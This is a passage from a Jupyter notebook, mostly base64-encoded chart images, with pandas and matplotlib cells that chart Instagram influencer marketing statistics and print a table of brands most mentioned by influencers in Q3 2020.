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\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "import pandas as pd #import pandas\n", + "import matplotlib.pyplot as plt #import matplotlib\n", + "\n", + "stats = pd.read_csv(\"D:\\DataScience\\Instagram DataAnalysis\\ Marketing Statistics\\MS8.csv\", header=0, sep=\",\")\n", + "print(stats)\n", + "\n", + "df = pd.DataFrame(stats) #make dataframe\n", + "x = list(df.iloc[:, 0]) #get 0th col\n", + "y = list(df.iloc[:, 1]) #get 1st col\n", + "c = ['r', 'g', 'k', 'b', 'm', 'c', 'y'] \n", + "\n", + "plt.title(\"Total US & Canada influencer spend by quarter, USD millions\")\n", + "plt.ylabel(\"Brand\")\n", + "plt.xlabel(\"Fake Interactions\")\n", + "plt.barh(x, y, color=c)\n", + "plt.show()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Brands most mentioned by Instagram influencers, Q3 2020" + ] + }, + { + "cell_type": "code", + "execution_count": 64, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + " Brands Mentions Influencers\n", + "0 Ideal of Sweden 1949 1301\n", + "1 Walmart 1068 720\n", + "2 Pretty Little Thing 1018 351\n", + "3 Question Nutrition 616 286\n", + "4 Michelob Ultra 395 271\n", + "5 L’Oréal Paris 327 257\n" + ] + }, + { + "data": { + "image/png": "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